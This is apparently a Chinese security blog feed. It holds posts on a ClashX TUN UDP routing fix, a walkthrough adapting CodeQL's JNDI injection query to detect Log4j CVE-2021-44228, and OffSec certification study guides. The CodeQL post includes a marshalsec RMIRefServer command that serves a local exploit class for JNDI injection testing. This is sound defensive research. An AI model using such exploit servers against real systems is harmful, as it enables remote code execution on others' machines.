本文同时提供其他语言的版本: English.
在我的日常生活中,我已经习惯通过ClashX的TUN模式(增强模式)接管MacOS系统的所有流量,便于观察实时流量并配置规则。Clash作为Surge的平替,已经成为了我在MacOS系统中的出口流量管理中心和出口防火墙。
MacOS的入口流量管理还是推荐使用PF防火墙
最近随着幻兽帕鲁的爆火,我在本地建立专用服务器后,发现局域网可以正常登录,来自公网的客户端却显示无法连接(我拥有公网IP并已建立好公网映射)。
首先,我对TCP和UDP的进出流量进行诊断
TCP出口流量,很容易测试,可以发现流量分流运行正常
TCP入口流量,可以发现也可以正常通过公网IP访问,也可以正常双向通信(Hello从客户端发到服务端,Back从服务端发回客户端)
UDP出口流量,这里我们尝试访问谷歌的NTP服务,可以发现正常建立连接
UDP入口流量,我们先建立测试服务
尝试发送一个UDP包,可以发现成功接收到数据包?似乎UDP监听目前也可以正常使用?事情真的如此吗?
尝试发送响应包,我们发现客户端无法接收到。让客户端再次发送请求包,我们发现服务端也无法接收到。
此时在局域网中或不开启TUN进行测试,所有连接均正常,方法也一样,就跳过了
此时我们已经确认了问题,让我们用Wireshark深入诊断一下,在使用Wireshark监听的同时再次复现上文中出现问题的操作
你可能发现了此时我的公网IP和端口改变了,IP从218.79.x.x变为117.131.x.x,端口变为50011,不要在意这个
我们可以发现第一个成功发送的UDP数据包,目标端口是50011,这个数据包我们在服务端正常收到了
第二个数据包是服务端返回发送的数据包,在客户端中我们并没能收到。图中可以看到Source Port为50131,这与服务开放的端口50011并不一致,此处我猜测是Clash在TUN NIC中对Source Port进行了重新映射,避免多个代理客户端发送了同样的Source Port产生冲突。那么因为Source Port和客户端发出的Destination Port不同,由于目前广泛采用的端口受限型NAT(在PlayStation中被称为NAT3),所以无法成功连接。此时如果客户端是地址受限型NAT(NAT2)或完全圆锥形NAT(NAT1),我推测是可以正常通信的。
此时我们已经确定了问题的原因——UDP服务出口流量经过TUN网卡导致Source Port不正确,无法与客户端构建连接。那么我们应该如何解决呢?
既然问题出在流量经过TUN网卡,那么我们可以为特定客户端IP指定路由表规则,让其直接使用物理网卡,忽略TUN网卡。
在MacOS中,我通过如下命令指定去往117.131.x.x
的流量直接使用en20
物理网卡,成功解决问题。
1 | sudo route add 117.131.x.x -interface en20 |
更换ClashX客户端为ClashX.Meta,其允许对TUN功能进行更详细的配置,我们也可以编写配置文件以使其自动排除特定的网段
1 | tun: |
一些端口转发工具可以指定使用的监听地址,并且从对应的网卡发送响应数据包。如 gost
使用gost绑定物理网卡对应的地址,进行流量转发
1 | gost -L=udp://192.168.x.x:50111/127.0.0.1:50112 |
客户端可以正常发送数据包,也可以正常收到响应数据包
仅为猜想,并未测试
可以使用Vmware添加桥接网卡,直接接入物理网卡,即可忽略Clash TUN网卡
虽然已经有了一个针对”Potential Log4J LDAP JNDI injection (CVE-2021-44228)”的实验性CWE-020 Query,但这次我想改写CWE-074,使其能够发现CVE-2021-44228。
众所周知,Log4j是由受用户控制的JNDI lookup引起的。从文档中,我发现CodeQL Query帮助已经涵盖了它,它的CWE编号是CWE-074。以下是该文档链接: JNDI lookup with user-controlled name
让我们一起学习这个CWE,尝试使用它来查找Log4j CVE-2021-44228漏洞
在本文中,有一些CodeQL专有的术语,我不会将它们转换为中文,但在这里解释一下它们的含义。你也可以在官方的术语库中查阅
CWE-074代码: https://github.com/github/codeql/blob/main/java/ql/src/Security/CWE/CWE-074/JndiInjection.ql
正如我们所看到的,它将大部分代码封装到了semmle.code.java.security.JndiInjectionQuery
中
通过代码中的注释,我们可以知道这个库被用来提供污点跟踪配置,以用于JNDI注入的Query。
在其中,我们可以发现它需要以下4个库:
semmle.code.java.dataflow.FlowSources
semmle.code.java.frameworks.Jndi
semmle.code.java.frameworks.SpringLdap
semmle.code.java.security.JndiInjection
JndiInjection.qll
DefaultJndiInjectionSink
它调用了内部实验性API,在实践中,我发现它可以定位JNDI lookup函数。
以下是我编写的代码,其作用与sinkNode
的调用相同。
1 | exists(MethodAccess ma, Method m | |
ConditionedJndiInjectionSink
该类扩展了JndiInjectionSink
和DataFlow::ExprNode
,因此它既是一个Node
,也是一个ExprNode
。
以下是CodeQL判断代码:
1 | exists(MethodAccess ma, Method m | |
Let’s divide it into 3 parts by the |
operand .
我们通过|
运算符将其分为3个部分
1 | MethodAccess ma, Method m |
首先是一个方法访问和方法
1 | ma.getMethod() = m and |
该方法访问了m
方法,作为表达式的sink是m
方法的第一个参数,而这个方法是LDAP操作。
1 | m.hasName("search") and |
该方法可以是search
方法,在编译时它的第三个参数应该是true
;或者该方法可以是unbind
方法,在编译时它的第一个参数应该是true
。
这是什么意思?我们可以在真实的代码中查看一下。
TypeLdapOperations
包含2个类
org.springframework.ldap.core
org.springframework.ldap
所以这只是针对具有SpringFramework
的情况,但是这一次,我想找到一个更通用的条件,而不需要任何框架。不过,下次分析这一点也是一个不错的想法。
ProviderUrlJndiInjectionSink
正如注释所说,它可以找到关于PROVIDER_URL的sink。
1 | /** |
1 | exists(MethodAccess ma, Method m | |
m.getDeclaringType().getASourceSupertype*() instanceof TypeHashtable
表示m
应该是 java.util.Hashtable
的子类
(m.hasName("put") or m.hasName("setProperty"))
指定了方法的名称
最后一部分指示第一个参数应该是一个字符串java.naming.provider.url
或者是一个类型为javax.naming.Context
的字段,且名称应为PROVIDER_URL
1 | ( |
因此,显然,如果用户输入只能控制PROVIDER_URL,则此Query仍然可以找到它。
DefaultJndiInjectionAdditionalTaintStep
这是一组在跟踪JNDI注入相关数据流的污点时需要考虑的额外污点步骤,以避免在调用第三方包时出现污点跟踪中断。
nameStep(node1, node2)
表示 n1
到 n2
是一个数据流步骤,通过调用 new CompositeName(tainted)
或 new CompoundName(tainted)
在 String
和 CompositeName
或 CompoundName
之间进行转换。nameAddStep(node1, node2)
表示 n1
到 n2
是一个数据流步骤,通过调用 new CompositeName().add(tainted)
或 new CompoundName().add(tainted)
在 String
和 CompositeName
或 CompoundName
之间进行转换。jmxServiceUrlStep(node1, node2)
表示 n1
到 n2
是一个数据流步骤,通过调用 new JMXServiceURL(tainted)
在 String
和 JMXServiceURL
之间进行转换。jmxConnectorStep(node1, node2)
表示 n1
到 n2
是一个数据流步骤,通过调用 JMXConnectorFactory.newJMXConnector(tainted)
在 JMXServiceURL
和 JMXConnector
之间进行转换。rmiConnectorStep(node1, node2)
表示 n1
到 n2
是一个数据流步骤,通过调用 new RMIConnector(tainted)
在 JMXServiceURL
和 RMIConnector
之间进行转换。JndiInjectionQuery.qll
现在,让我们进入“query”库,这里包含了一些关于如何进行全局污点追踪的信息
JndiInjectionFlowConfig
1 | class JndiInjectionFlowConfig extends TaintTracking::Configuration { |
它将 JndiInjectionSink
应用为 Sink 进行跟踪。
isSanitizer
定义了应该删除结果的条件,在这种情况下,如果节点是原始类型或包装原始类型(BoxedType),则会将其删除。
isAdditionalTaintStep
添加了额外的污点步骤,在这种情况下,它使用 JndiInjectionAdditionalTaintStep
,使用这个库时,any
过滤器表示我们将使用任何可用的子类,在这里我们将使用已经解释过的 DefaultJndiInjectionAdditionalTaintStep
类。
UnsafeSearchControlsSink
一个当接收到一个
setReturningObjFlag
属性为true
的SearchControls
参数时执行 JNDI lookup的方法。
这个类定义了不安全的 Search Controls Sink。
1 | exists(UnsafeSearchControlsConf conf, MethodAccess ma | |
正如我们所看到的,它需要 UnsafeSearchControlsConf
,它定义了数据流的Source和 Sink,Source应该是 UnsafeSearchControls
,Sink 应该是 UnsafeSearchControlsArgument
。
UnsafeSearchControls
:一个带有 setReturningObjFlag
= true
的 SearchControls
对象。setReturningObjFlag
启用/禁用作为结果的一部分返回的对象。UnsafeSearchControlsArgument
:一个 LdapOperations.search
或 DirContext.search
调用的类型为 SearchControls
的参数。因此,Sink 应该是方法访问的第一个参数,方法访问的一个参数将按照 UnsafeSearchControlsConf
中定义的规则进行污染。
JndiInjection.ql
JndiInjection.ql
只是简单地使用 JndiInjectionFlowConfig
调用了路径的Query。
这是测试代码,其中部分代码从官方演示中提取。
1 | public void doGet(HttpServletRequest request, HttpServletResponse response) { |
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:4444/\#Exploit 1099 |
1 | jdk8 |
我们得到了预期的结果. 我们可以使用 Quick evaluation 功能来验证之前的分析
DefaultJndiInjectionSink
找到了String name = request.getParameter("name");
ProviderUrlJndiInjectionSink
找到了env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
事实证明这些Query工作得非常好
引入org.apache.logging.log4j-2.14.1
,你可以在这里找到它 here
配置toolchains-sample-*.xml
后,我们可以得到CodeQL数据库。
为了获得更好的性能,我们可以在“modules”部分排除无用的项目。
1 | <modules> |
1 | codeql database create log4j-db -l java -s logging-log4j2-rel-2.14.1/ -c './mvnw clean install -t toolchains-sample-mac.xml -Dmaven.test.skip=true' |
通过调试,我们可以知道用户输入源位于log4j-api/src/main/java/org/apache/logging/log4j/spi/AbstractLogger.java
中的各个日志函数,比如debug
, info
、error
和它们都将调用带有messag或messageSupplier作为日志消息的 logIfEnabled 函数。
所以源码应该是这样的:
1 | class Log4jFlowSource extends DataFlow::Node{ |
并且我需要添加一个新的 TaintTracking::Configuration
1 | class JndiInjectionFlowConfigInLog4j extends TaintTracking::Configuration{ |
只需要改变 isSource
部分其他部分与 JndiInjectionFlowConfig
相同
运行Query,我们得到如下结果
运气不错,我们成功找到一条路径,证明用户输入可以传递给 JNDI lookup。 完整代码如下所示。
1 | /** |
CodeQL CWE Coverage: https://codeql.github.com/codeql-query-help/codeql-cwe-coverage/
CodeQL query help for Java: https://codeql.github.com/codeql-query-help/java/
CodeQL Repository: https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE
]]>OSCP的全称是 Offensive Security Certified Professional ( OffSec 认证专业人员) ,属于OffSec的200系中级认证,虽然OSCP并不是OSCE3的一部分,但是作为OffSec认证体系最知名的证书,还是写在这个系列文章中,并且介绍一下OffSec认证的一些杂项信息
OSCP课程的旧名称简称PWK(Penetration with Kali),新版名称为PEN200,我在本文中统一采用新版名称
有关PEN200-OSCP证书的官方最新信息位于这里:https://www.offensive-security.com/pwk-oscp/
证书有效期:OffSec所有证书终身有效,无需更新
对于个人用户,目前Offensive Security(后称OffSec)提供了2种购买方式
Packages
Subscriptions - 订阅制
Learn One套餐(2499美元): PEN200-OSCP课程 + 2次OSCP考试机会 + PEN210-OSWP课程 + 1次OSWP考试机会 + 365天Lab + PEN100课程 + KLCP课程 + 1次KLCP考试机会 + PG Practice会员
Learn Unlimited套餐(5499美元): OffSec所有课程 + 365天Lab + 无限次考试机会(受冷静期约束) + PG Practice会员
对于基础扎实的师傅,建议选择便宜的$999 Package,成本低一些,有一些基础或者有时间想多刷一点Lab的同学,可以考虑60天或者90天Lab,个人不太建议Learn One套餐,虽然东西很多,但是我觉得比如KLCP和OSWP现在认可度并不是很高,365天Lab除非铁了心刷完Lab,否则不太有必要
如果想要完成OffSec最核心的OSCE3系列证书+OSCP证书,Learn Unlimited是个好选择,但要慎重考虑,一整年的时间需要一直学习,OffSec的考试难度并不低,大部分人需要好好准备几个月才能通过,否则也容易浪费
参与OffSec的各项考试都必须要准备的东西和需要注意的一些问题
对于第一次海外支付的同学,最好要准备一张Visa卡或者MasterCard信用卡,否则支付会遇到问题
护照是必备的,OffSec在考试时需要提供了英文的官方证件,出于长期打算,办一张护照是成本最低选择
实在办不到护照怎么办?最近通过和一些其它考生的交流,驾驶证是不能使用的了,唯一的其他选项就是经过公证的身份证,步骤比较麻烦而且成本听说比护照还要高
不论是课程开始还是考试,都不是付费后立刻开始的,都需要预约,根据淡季旺季时间有所不同,课程一般等待时机在10天左右,考试的话如果不考虑工作日还是假期的问题以及开始时间的问题,基本上半个月内可以参与考试,如果要找到一个假期的中午开始这种黄金时间,基本上得1个半月左右才能找到了,而且随着OSCP热度持续上升,这个时间目前还是只增不减
虽然OSCP全程使用英语学习、考试,但是除非对英语一窍不通,个人认为没有必要专门去学习英语,毕竟随时都允许使用翻译软件,包括考试时,只不过相比熟悉英语的同学的进展会慢一些
虽然OSCP课程官网并没有给出要求的基础能力,但是我认为拥有以下能力能够大幅加速OSCP正式学习时的进展
除此之外,按照官网的课程大纲掌握一些能自己学会的部分,能够节约你在正式课程中阅读教材的时间
官方的课程大纲:penetration-testing-with-kali.pdf (offensive-security.com)
掌握了基础能力后,虽然官方Lab最贴近考试环境,但是量也很大,有七十多个靶机,建议先刷一刷OSCP like的HackTheBox机器,然后再刷Lab效率更高
这份OSCP like清单的最新版本通过此链接可以获取到:https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159
其中包含了各个靶场的资源整理,我推荐优先练习Proving Grouds和HackTheBox的靶机
课程中的几个重要资源如下
由于教材是英文的,我建议边学习边把重要的部分自己整理出来作为笔记,考试是允许联网并且可以随意翻阅资料的,但是我还是希望大家自己整理一份CheatSheet(常用的指令集合,如Enumeration和常见的Exploit)出来,可以节约考试时的时间
不推荐使用别人的笔记或CheatSheet
在PEN200-OSCP中可以学到许多渗透测试的基础能力,如信息收集、使用Exploit和提权。Windows和Linux都在学习和考察的范围内
考试重点考察2块领域的能力,也是我们要重点学习的地方
不论是获取Initial foothold还是提权,都是这两种能力的挑战
虽然教材长达800多页,但是Lab才是PEN200课程的核心部分,因为渗透测试是实践中才能学会的技能
大部分机器都是独立可以通关的,但是有部分机器之间存在依赖,你需要先攻克另一台机器并在Post-Enumeration中获取到足够的信息才能攻破另一台机器。
关于Lab练习量和通过率的关联,可以在A Path to Success in the PWK Labs | Offensive Security (offensive-security.com)这篇OffSec官方文章中获取到,其中包含了Lab的各种信息,也包含了Lab的网络拓扑,值得一读,网络拓扑如图
首先我们可以直接访问的Lab机器处在Public段,还有IT Department、Admin、Dev段,这些段需要通过靶机使用网络代理才能访问。
Sandbox则是用于和教材练习搭配使用
所有Lab机器都是共享使用,OSCE3(OSWE、OSEP、OSED)系列则是每个学生独享,建议做之前先重置一下,不用担心太多人来抢,因为OffSec通过课程预约制度控制了课程参与人数,即使偶然遇到抢着revert的问题,换一台机器即可,
Lab刷题数和考试通过率关联如下,可以发现难易程度真的是因人而异,不要抱着“我考不过,这证书真牛;我都考过了,这证书真水“这样的想法
域要考察的内容在教材第21章全部讲解了,掌握教材中的内容我认为足以通过考试。并且在教材最后一章有一个完整的例子,非常有价值,并且在Lab中也有一些关于AD的题目
虽然我没有参与过OSCP的域考试,但是在OSEP中涉及了大量的域技术,我认为这方面技术只要好好学习教材内的内容,并且完成相关的练习,域相关的技术并不会特别难
官方的考试指引:OSCP Exam Guide – Offensive Security Support Portal (offensive-security.com)
考试时长24小时和通过分数70分并无变动
由于OffSec的考试时间安排,我说的考试时间包含提前15分钟进行身份验证的环节
OffSec的考试形式一直是其特色所在,讲究实操能力,要开展实战的攻击才能拿到拿到分数
由于考试结构已经大改,我当时的考试经验已经不太具有参考价值了,建议大家多看看2022年发布的其它OSCP考试review来获取更贴切的感受,我就从考试的结构变化和我的学习经验入手来分析一下
首先是官方的说明:https://www.offensive-security.com/offsec/oscp-exam-structure/
先简单介绍一下旧版本的考试
旧版本的考试分数结构为25+25+20+20+10,通过分数为70分,完成所有教材练习和10道Lab并提供报告奖励5分
每个20分的题目,用户权限和root权限的获取分别10分,其中Buffer Overflow(后简称BOF)是必考的,占25分,域是必不考的,另外一个25分题分为15分+10分的结构
新版本则分为两部分
独立靶机部分(60分),类似旧版,每题用户权限和root权限的获取分别10分,共3题,BOF变为可能会考而不是必考
域部分(40分),包含两个Client机和一台DC域控,必须完整获取整个域的控制以得到完整的40分,否则1分不给
考试通过门槛依然为70分(这意味域部分必须搞定),奖励分数的获取方式变为完成考试的域部分和10台Lab机器即可得到,并且提升为10分,相比之前而已获取的难度其实是大幅降低了,教材的超大量习题劝退了包括我和其它许多同学
由此可见,域部分突然从不考变为必考,体现出了时代要求的变化以及OffSec紧跟信息安全前沿的态度,我认为是一件好事
由于目前参与新考试并通过的考生并不多,我建议熟练掌握教材中的AD相关内容和练习,掌握Lab中的AD题(具体是哪几题可以去Discord的OSCP学生频道问),通过HackTheBox中的域类型机器提高熟练度
之前很多国内考试遇到过由于防火墙的原因,完全连接不上Lab和考试的情况,遇到的话,之前都可以和官方联系推迟时间然后你自己解决,但是2021年OffSec开始给每个中国和埃及考生会发额外的免责邮件,要求学生自行确定好网络连接问题
虽然是这么说,但是在我最近几次考试的过程中,Lab和考试均可稳定直连(我位于东南沿海地区),甚至网络性能比我挂了代理还要好(在使用远程桌面时尤为明显),但还是建议大家备好代理,以免遇到意外情况
完成PEN200课程拿到OSCP证书后,接下来就是OffSec的300系列课程了,难度更大并且要求更高,分别是OSEP、OSWE、OSED,分别对应对域渗透和免杀的更加深入、Web安全Exploit开发、二进制安全Exploit开发,拿到这三张证书后即可获得OSCE3证书,想要深入了解OSCE3的各个证书,可以继续阅读本系列的其它篇章
欢迎和我深入交流OffSec的各个证书:4xpl0r3r@gmail.com
(一起吐槽OffSec哈哈哈,交个朋友也欢迎,如需加好友,通过邮件发送联系方式即可)
]]>对于一些更加基础的信息,如报名问题、网络问题,请参阅OSCP篇
OffSec的所有认证都没有前置要求,如果不想考OSCP直接考OSWE,完全是可以的
有关WEB300-OSWE证书的官方最新信息位于这里:https://www.offensive-security.com/awae-oswe
对于个人用户,目前Offensive Security(后称OffSec)提供了2种购买方式
Packages
Subscriptions - 订阅制
####Packages
目前来说OSWE是Packages购买方式300系列中最贵的,均价高150美元
Learn One套餐(2499美元): WEB300-OSWE课程 + 2次OSWE考试机会 + PEN210-OSWP课程 + 1次OSWP考试机会 + 365天Lab + PEN100课程 + KLCP课程 + 1次KLCP考试机会 + PG Practice会员
Learn Unlimited套餐(5499美元): OffSec所有课程 + 365天Lab + 无限次考试机会(受冷静期约束) + PG Practice会员
可以发现300系列的套餐没有30天套餐,建议学习时间比较充沛的可以选择60天Lab,如果平时事情比较忙,可以考虑90天的Lab,由于我空闲时间比较充足,我的OSEP和OSED都是选择的60天套餐以节约时间,由于我的主要学习方向是Web安全,因此OSWE则是选择了更便宜的30天套餐(此套餐已经退役,并且大概率不会再出)
如何报名参加OffSec的认证与课程请阅读PEN200-OSCP篇
OSWE是300系列中存在时间最长的认证,相较于PEN系列注重于黑盒,OSWE则注重的是Web安全方向的白盒审计,虽然由于我主攻方向是Web方向,OSWE是我最轻松拿下的证书,但是综合比较而言,我认为在思维难度上,OSWE应该是300系列最高的,虽然OSED也是半白盒开发exploit,也许是因为推出时间较短,还没有进化出思维难度比较高的题目
首先建议大家打好编程语言的基础
除了语言之外,根据官方的PREREQUISITES,还需要以下能力
可以发现,对于Web开发转安全或者曾经在CTF中担任Web手的同学,OSWE应该是OffSec系列认证中最容易的
但是由于OSWE着重于白盒审计,和CTF的Web侧重点还是有些差别的
基础打扎实之后,推荐一下Web安全的教程,内容非常全面,如果时间有限的话,可以参考课程大纲有针对性地预习
https://portswigger.net/web-security/all-materials
WEB-300的课程大纲:awae-syllabus.pdf (offensive-security.com)
稍微详细地看的话,可以发现大多以真实例子进行讲解,WEB300和EXP301都是研究Exploit Development(EXP开发)的,因此都采用实例进行讲解,因此我认为掌握好了上面的编程基础知识和Web漏洞基础知识,就可以正式开启课程了
之前提供了OSCP like靶机清单的列表也提供了OSWE like的清单,我没有去练过,如果大家预习时间比较多,可以考虑去练习一下
课程中的几个重要资源如下
WEB300-OSWE课程的学习方式比较单调,我的学习方法就是边看PDF边练习,把教材里的实例都练习完之后,基本就掌握得差不多了,这可能是因为我有在CTF做Web题的经验导致的,此课程对我来说并没有很高的难度
随后开始刷Web题目,对于没有Web安全经验的同学来说可能会有些难度,可以去官方discord提问,同学都比较热情。只要是教材教到的漏洞都有可能考查,包括有些同学觉得不会出的CSRF这种客户端攻击或者碰撞攻击,事实上在Exam如果没有考到也只是个人没有考到,越是觉得不会考的反倒喜欢考
对于WEB300-OSWE和EXP301-OSED,我都强烈建议边学习边总结思维导图,这对于巩固学习以及在考试中思考攻击路径都极有帮助
官方的考试指引:OSWE Exam Guide – Offensive Security Support Portal (offensive-security.com)
300系列的考试时长均为48小时
考试考查的是手工白盒审计,因此各种自动化工具就不要想着使用了,每道题目会提供2台机器,2台机器除了密码不一样完全一样,一台用于给学生获取源代码并分析,另一台用来获取Proof
每道题目分为两个考查阶段,第一阶段为Bypass Login,也就是利用Web攻击登录到网站后台,此为第一阶段,第二阶段则为RCE,就是要通过Web服务拿到主机的Shell,不需要提权,拿到Shell后就能拿到这个机器的满分
考试的满分是100分,85分通过,总共2台机器,第一阶段35分,第二阶段15分,这意味着2台机器的Bypass Login都必须成功,RCE倒是只需要完成其中一台即可,我当时由于考试空余时间比较多,拿到满分+写完报告花的时间还不到20小时,因此就全部搞定了
拿到所有Proof后还要编写一个Exploit,用于自动化完成攻击,建议使用Python3
考察范围就是教材教到过的所有漏洞类型或组合利用,不要问别人考试考了什么漏洞,每个人考察到的都是不同的
相比于教材都是使用真实案例做例子,考试则全部使用OffSec自行开发的题目,涉及到的代码语言每个人考到的都不同
如果你想要了解的信息文章中没有提到,欢迎发邮件给我一起交流,也欢迎加个好友,通过邮件发送联系方式给我即可
]]>对于一些更加基础的信息,如报名问题、网络问题,请参阅OSCP篇
OffSec的所有认证都没有前置要求,如果不想考OSCP直接考OSEP,完全是可以的
OSEP的全称是 Offensive Security Experienced Penetration Tester ( OffSec 资深渗透测试员) ,属于OffSec的300系高级认证,主要聚焦于横向移动、域渗透和免杀并且相比OSCP更加贴近红队实战,提供了钓鱼等技术的教学
在OSEP考试中也有可能会出现教程中的钓鱼技术的考点,而不是停留在书面上
OSEP代替了旧版OSCE的位置,主要继承并拓展了OSCE的渗透测试技术部分,而二进制安全部分则被拓展并转移到EXP301-OSED中
有关PEN300-OSEP证书的官方最新信息位于这里:https://www.offensive-security.com/pen300-osep/
对于个人用户,目前Offensive Security(后称OffSec)提供了2种购买方式
Packages
Subscriptions - 订阅制
####Packages
Learn One套餐(2499美元): PEN300-OSEP课程 + 2次OSEP考试机会 + PEN210-OSWP课程 + 1次OSWP考试机会 + 365天Lab + PEN100课程 + KLCP课程 + 1次KLCP考试机会 + PG Practice会员
Learn Unlimited套餐(5499美元): OffSec所有课程 + 365天Lab + 无限次考试机会(受冷静期约束) + PG Practice会员
可以发现300系列的套餐没有30天套餐,建议学习时间比较充沛的可以选择60天Lab,如果平时事情比较忙,可以考虑90天的Lab,由于我空闲时间比较充足,我的OSEP和OSED都是选择的60天套餐以节约时间,由于我的主要学习方向是Web安全,因此OSWE则是选择了更便宜的30天套餐(此套餐已经退役,并且大概率不会再出)
如何报名参加OffSec的认证与课程请阅读PEN200-OSCP篇
虽然在OffSec官方的评级下,300系列的三门课程难度是一致的,但是由于三个课程的考察方向不同,因此对于不同基础的每个人来说每个证书的难度也不同,我在和其它考生交流和讨论后,尽量避免由于基础产生的差异,认为PEN300-OSEP是一般而言最简单的一个,因为相比另外两门课程重点考察exploit的开发,OSEP还是聚焦在enumeration,对开发能力的需求更少
300系列的课程被OffSec认定为高级课程,全部都需要或多或少的开发能力,官方页面上也给出了基础能力的需求,如下
除了官方自己给出的Prerequisites(预备知识),我经过课程的学习后,我认为掌握一些额外的基础知识会对于课程学习或参与考试有较大的帮助
官网教材大纲:PEN-300-Syllabus (offensive-security.com)
如果时间充沛,可以对着大纲,把各个知识点进行预习,也是不错的选择
由于由多台靶机构成的这样的内网练习环境目前还比较少见,我就不推荐课外的靶场了,我个人也没有为了OSEP去刷其它的靶场,如果有需要,可以自己选择
虽然我提到了OSEP在300系列的认证中开发能力要求最低,但是为什么还是建议大家掌握PowerShell和C#这些东西呢?这是因为教材中会为各种用到的技术进行深入讲解,包括每一行是做什么的,如何自己修改。虽然可以直接保存模板代码然后应对考试直接套用,但是我认为,学完教材中的原理,才是最重要的,否则就还是一个高级的一点的脚本小子罢了
课程中的几个重要资源如下
OSEP的Lab环境与OSCP有显著的不同,OSCP Lab中每台机子都是一台独立的靶机,但是由于OSEP重点在于横向移动和域渗透,所以以Challenge的形式进行练习,每个Challenge中都会有多个靶机,少则3台,多至10台左右,每台靶机都会有不同的解法来拿下,如钓鱼、横向移动、SQL漏洞等
考试重点考察4块领域的能力,也是我们要重点学习的地方
相比PEN200-OSCP,PEN300-OSEP更加贴近实战,为什么这么说呢,在Lab和考试中,你都会发现,大部分机器的杀毒软件如Windows Defender都处在运行状态,只不过没有联网,在你拿到了管理员权限后,你还需要想办法去把这些安全软件给关闭或绕过,否则它们不仅会在获取shell的阶段妨碍你,还会在你进行横向移动或进行post-enumeration时妨碍你
官方的考试指引:OSEP Exam Guide – Offensive Security Support Portal (offensive-security.com)
300系列的考试时长均为48小时
很多同学都是因为OSCP证书才了解到OffSec的认证体系,OSCP证书的考试形式相比其它证书采取实操制已经相当独特,而OSEP则采取了更加有趣的考试形式
在OSEP考试中,由于还是考查渗透测试技术,还是需要去攻击各台靶机,但是这次提供给我们的是一个模拟的实战环境,OffSec模拟出一个虚构的目标,也许是一个大型公司、也许是一个银行。考试提供给考生几个IP作为暴露的安全边界,你可以通过多种方式进行突破,可以攻击Web服务、可以尝试直接打exploit、甚至可以利用钓鱼
突破内网之后,就要开始横向移动了,综合利用各种技术,增加自己控制靶机的数量,每拿下一个靶机的最高权限账户,可以拿到proof.txt,对于部分靶机的低级用户还有local.txt,每个拿到的flag都价值10分,有两种方式通过考试,拿到10个flag也就是100分通过考试,或者攻克模拟的最终目标,其flag保存在secret.txt,拿到secret.txt就能够直接通过考试了
根据官方的说法,有至少两条攻击路径可以到达secret.txt,这意味着要么走完其中一条,或者两条路径都差不多走到一半,还是比较有弹性的,大家考试时可以自由选择
我在考试时由于另一条路线的安全软件一直绕不过去,所以就是一条路线走到底了,拿到了secret.txt成功通过考试,其中也经过了不止一个网段,感觉OSEP考试还是非常有趣
OSEP考试所用到的技术在Lab的Challenge全部有考查到,因此我认为只要扎实练好官方Challenge,掌握每一个知识点,通过考试还是不成问题的
对于一些更加基础的信息,如报名问题、网络问题,请参阅OSCP篇
OffSec的所有认证都没有前置要求,如果不想考OSCP直接考OSED,完全是可以的
有关EXP301-OSED证书的官方最新信息位于这里:https://www.offensive-security.com/exp301-osed/
对于个人用户,目前Offensive Security(后称OffSec)提供了2种购买方式
Packages
Subscriptions - 订阅制
####Packages
Learn One套餐(2499美元): EXP301-OSEP课程 + 2次OSED考试机会 + PEN210-OSWP课程 + 1次OSWP考试机会 + 365天Lab + PEN100课程 + KLCP课程 + 1次KLCP考试机会 + PG Practice会员
Learn Unlimited套餐(5499美元): OffSec所有课程 + 365天Lab + 无限次考试机会(受冷静期约束) + PG Practice会员
可以发现300系列的套餐没有30天套餐,建议学习时间比较充沛的可以选择60天Lab,如果平时事情比较忙,可以考虑90天的Lab,由于我空闲时间比较充足,我的OSEP和OSED都是选择的60天套餐以节约时间,由于我的主要学习方向是Web安全,因此OSWE则是选择了更便宜的30天套餐(此套餐已经退役,并且大概率不会再出)
如何报名参加OffSec的认证与课程请阅读PEN200-OSCP篇
OSED是300系列中最新的认证,相较于PEN系列注重于黑盒,OSWE注重Web白盒,OSED专注在二进制安全,也就是常说的PWN和逆向,很多人认为OSED的考试是最难的,但是我认为OSWE在思维难度考查上才是最难的,而OSED大家认为比较难可能是因为目前以二进制为主攻方向的同学占比比较少,虽然我主攻方向也是Web方向,OSWE也是我最轻松拿下的证书。OSED的难点在于对计算机底层需要有比较好的基础才能比较顺利地学习,否则很多地方可能都会一知半解
根据官方的PREREQUISITES,需要如下能力
EXP301-OSED只考察Windows的32位环境也就是x86架构下的Exploit,这也是其被批评的一个点,因为现在大部分都是x64架构的计算机了,但是其实x86_64也就是x86架构的升级版,我认为通过学习x86来掌握基本的二进制研究能力也是一个比较好的选择,直接从x64入手的话学习曲线会过于崎岖
对于汇编语言的基础学习,我的建议使用最知名的《汇编语言》(王爽著),这本书非常厚,但不需要完全学完
除此之外,最好对《操作系统》这门基础课程比较熟悉,否则很多概念就一知半解了
为了熟悉32位的基本二进制exploit,可以选择CTF的PWN方向作为入门选择,也可以选择ROP Emporium这个网站提供的练习题进行练习,由于这个网站只提供了题目文件,没有虚拟练习环境,可以自己使用虚拟机搭建虚拟练习环境,这里我推荐我自己制作的一个小工具来搭建练习环境,其使用文档在我的博客上:DIPD-文档 - 4xpl0r3r’s blog,关于使用问题也可以在文章下面留言
ROP Emporium每道题支持4种练习架构,x86
、x86_64
、ARMv5
、MIPS
,如果只是准备EXP301-OSED的话只需要练习x86
架构即可,如果想要感受下x86
和现代的x86_64
的差别,也可以练习x86_64
,如果后续想要进军IoT二进制安全,可以研究下ARM和MIPS,但是就需要自己搭建QEMU异构虚拟机来实验了
课程中的几个重要资源如下
EXP301-OSED课程的学习方式和WEB300-OSWE比较相似,我的学习方法就是边看PDF边练习,把教材里的实例都练习完之后,基本就掌握得差不多了,期间通过反复实践,总结思考出自己的方法论
对于WEB300-OSWE和EXP301-OSED,我都强烈建议边学习边总结思维导图,这对于巩固学习以及在考试中思考攻击路径都极有帮助
我在学习中总结出EXP301-OSED的核心内容就是:以栈溢出为核心,研究DEP和ASLR的绕过,同时学习ShellCode的开发和逆向工程。在考试中也是这些内容为核心,因此在学习之前可以有一个大概的脉络
还有一些小细节需要注意,OSED考试允许使用IDA但是不能使用IDA Pro,只能使用IDA免费版,这意味着只能使用IDA来进行反汇编而不能使用IDA的F5大法,要注意。调试也只能使用WinDbg进行调试
官方的考试指引:OSED Exam Guide – Offensive Security Support Portal (offensive-security.com)
300系列的考试时长均为48小时
相比于教材和Lab基本都是使用真实案例做例子,考试则全部使用OffSec自行开发的题目
